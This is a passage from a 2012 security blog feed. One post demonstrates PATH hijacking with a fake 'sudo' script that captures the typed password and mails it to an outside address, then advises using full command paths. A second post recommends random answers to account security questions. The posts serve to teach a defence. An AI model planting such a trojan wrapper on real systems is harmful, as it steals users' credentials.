pwnme@debian1:~$ echo $PATH<br />
/home/pwnme/bin:/home/pwnme/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games<br />
pwnme@debian1:~$ which su<br />
/home/pwnme/bin/su</p></blockquote>
<p>That&#8217;s it. Sit back and wait for the user to come along and enter the root password. In my example above I&#8217;ll get an email but you could do whatever you wanted with the password. This script is not 100% but it took &lt; 5 minutes to write so I think you get the idea.</p>
<p><strong>Sudo will save you</strong></p>
<p>Think because you use sudo you&#8217;re safe? Of course not. What about this?</p>
<blockquote><p>#!/bin/sh</p>
<p>orig_command=$*<br />
echo -n &#8220;[sudo] password for $LOGNAME: &#8221;<br />
stty -echo<br />
read password<br />
echo<br />
stty echo<br />
sleep 2<br />
echo &#8220;Sorry, try again.&#8221;</p>
<p># muwahahaha, we have the password, now for the evil.<br />
# you can make this do what you like here.<br />
echo &#8220;su attempted with password: $password&#8221; | mailx -s &#8220;su attempt from `uname -n`&#8221; root@offensivecoder.com</p>
<p>exec /usr/bin/sudo $orig_command</p></blockquote>
<p>Same problem.</p>
<p><strong>Solution</strong></p>
<p>So the simple solution to all this is never to call su, sudo or any other sensitive commands without first verifying your PATH or using the full path. Personally I always use /bin/su or verify my PATH before using sudo (because /usr/bin/sudo is just too much typing).</p>
<blockquote><p>pwnme@debian1:~$ which sudo<br />
/usr/bin/sudo<br />
pwnme@debian1:~$ sudo id<br />
[sudo] password for pwnme:<br />
uid=0(root) gid=0(root) groups=0(root)</p></blockquote>
<p>The observant among you will realise my <em>which</em> command could have been swapped out too. If so, my work here is done.</p>
<p>The code in this blog, as with any other code I write is on my Github page at <a href="https://github.com/offensivecoder" target="_blank">https://github.com/offensivecoder</a>. This particular project is called <em>tusu</em>. Thank you su. <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/11/su-youre-doing-it-wrong/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Memorable Words: Just Lie</title>
		<link>http://offensivecoder.com/2012/06/08/memorable-words-just-lie/</link>
		<comments>http://offensivecoder.com/2012/06/08/memorable-words-just-lie/#comments</comments>
		<pubDate>Fri, 08 Jun 2012 23:40:16 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Authentication]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[breaches]]></category>
		<category><![CDATA[memorable words]]></category>
		<category><![CDATA[one-time passwords]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[re-use]]></category>

		<guid isPermaLink="false">http://blog.offensivecoder.com/?p=355</guid>
		<description><![CDATA[This is a re-post from my old blog site dating back to May 2011 (hence references to Sony) but in light of the recent compromises to LinkedIn, Last.fm and eHarmony I thought it might be relevant to reproduce it here.<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/08/memorable-words-just-lie/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><em>This is a re-post from my old blog site dating back to May 2011 (hence references to Sony) but in light of the recent compromises to LinkedIn, Last.fm and eHarmony I thought it might be relevant to reproduce it here.</em></p>
<p>Much has been written of the <a href="http://blog.us.playstation.com/2011/04/26/update-on-playstation-network-and-qriocity/">recent attacks on the Sony network</a> but one of the smaller details I noticed made me want to write this short article.</p>
<p>One of the types of data that was lost in the data breach were the answers to users security questions. You know the ones I mean, when you sign up for a service and you get asked questions like &#8220;What is your favourite colour&#8221; or &#8220;Mother&#8217;s maiden name&#8221;. These questions are designed to be used if you forget your password in order to verify your identity before allowing access to your account where, you can reset your password (best) or it displays your password on screen (worst).</p>
<p>This data being available to bad people is obviously not a good thing as they can theoretically go through the password reset process, answer your security questions and gain access.</p>
<p>Those in security are always banging the drum about avoiding password re-use between sites but this is still incredibly common despite reasonably good password management programs being available these days to aid the process (<a href="http://keepass.info/">KeePass</a>, <a href="http://lastpass.com/">LastPass</a>, even vi with OpenSSL or GnuPG).</p>
<p>However, even if you&#8217;re using a different password for every site, if the bad guy can just reset it he wins, you lose.</p>
<p>So I&#8217;ll let you in on a little secret, when you register for something and it asks you what your favourite colour is &#8220;<em>you don&#8217;t actually have to tell the truth</em>&#8220;. Furthermore, you don&#8217;t even need to enter a colour!</p>
<p>Here&#8217;s a suggestion, use the same random password generator (you do use one right?) and generate some random string as your answer. Then use that same password manager application (or text file encrypted) to store the question and your answer. Use different answers for every site, just like you use different passwords and lo, if the answers to these questions make it into the hands of people of ill will you can at least be confident that your only exposure is from that one website.</p>
<p>This approach also affords you protection against people attempting to <em>guess</em> your security answers. How many goes will it really take to guess your favourite colour for example? There aren&#8217;t that many to choose from.</p>
<p>So, in summary, the recommendation should be widened. Avoid not only password re-use but also any other data which could be used to gain access to the account when the data is a free choice.</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/08/memorable-words-just-lie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
